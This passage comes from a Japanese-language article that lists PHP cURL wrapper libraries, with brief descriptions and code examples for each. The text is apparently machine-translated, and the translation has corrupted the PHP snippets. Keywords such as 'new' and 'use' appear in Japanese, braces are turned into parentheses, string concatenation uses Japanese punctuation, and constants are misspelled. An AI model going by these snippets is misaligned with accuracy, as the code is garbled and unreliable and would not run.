リクエストを送信します。 すべてのリクエストが完了するかタイムアウトになるまでブロックします。

$RCX->execute();

4.PHPカール

PHP Curl は、cURL 用の非常にシンプルな PHP Curl ラッパー クラスです。 著者によれば、このクラスは PHP のカール機能の可能な最小の OOP ラッパーです。これは高レベルの抽象化を意図したものではないことに注意してください。それでも、「純粋な PHP」カールがどのように機能するかを知っておく必要があります。設定するには、curl オプションを使用する必要があります。HTTP の基本をいくつか知っておく必要があります。その構文は開発者にとって使いやすいものになっています。

// newRequest、newJsonRequest、newRawRequest はリクエスト オブジェクトを返します $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf) -8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $response = $request->send();

3.カールが簡単

Curl Easy は、PHP の cURL 拡張機能のラッパーです。 並列リクエストとノンブロッキングリクエストをサポートします。 これは小さいですが、処理を高速化する強力で堅牢なライブラリです。 手続き型インターフェイスで PHP cURL 拡張機能を使用することにうんざりしているが、スクリプトの実行についても制御したい場合には、これは最適な選択肢です。このライブラリ:

  • 広く単体テストが行​​われています。
  • 中レベルのインターフェイスを備えた軽量ライブラリ。 オールインワンのライブラリではありません。
  • 非常にシンプルなインターフェースによる並列/非同期接続。
  • 実行時にリクエストを並行してアタッチ/デタッチします。
  • コールバックのサポートにより、実行プロセスを制御できます。
  • CURLOPT_* 定数の代替としてのインテリジェント セッター。
  • cURL php 拡張機能を知っていれば、最初から学ぶ必要はありません

構文も非常に理解しやすいです。

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURTRANSFER, true); $response = $request->send(); $feed = json_decode($response->getContent(), true); echo "現在のビットコイン価格: " 。 $feed["データ"]["レート"] 。 「」。 $feed["データ"]["コード"] 。 "\n";

2.シューバーのカール

Curl ライブラリは、PHP の基本的な CURL ラッパーです。 Curl オブジェクトは、HEAD、GET、POST、PUT、DELETE の 5 種類のリクエストをサポートします。 リクエストする URL を指定する必要があり、オプションで、それと一緒に送信する連想配列または変数の文字列を指定する必要があります。 次のように Curl クラスを要求して初期化するだけです。

Require_once "curl.php"; $curl = 新しいカール; $response = $curl->head($url, $vars = array()); $response = $curl->get($url, $vars = array()); # Curl オブジェクトは、$vars の配列をクエリ文字列として $url に追加します $response = $curl->post($url, $vars = array()); $response = $curl->put($url, $vars = array()); $response = $curl->delete($url, $vars = array());

1.PHPカールクラス

PHP Curl クラスは、非常によく書かれた cURL のラッパーで、HTTP リクエストの送信とあらゆる種類の Web API との統合を非常に簡単にします。 PHP Curl クラスは、PHP 5.3、5.4、5.5、5.6、7.0、7.1、および HHVM で動作します。 このライブラリは広く知られており、非常に簡単な構文を提供します。

__DIR__ が必要です。 "/vendor/autoload.php"; 使用\カール\カール; $curl = 新しい Curl(); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Error: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; ) else ( echo "Response:" . "\n"; var_dump($curl->response); )

PHP で書かれた cURL 拡張機能用の別の素晴らしいラッパー ライブラリをご存知の場合は、コメント ボックスでコミュニティと共有してください。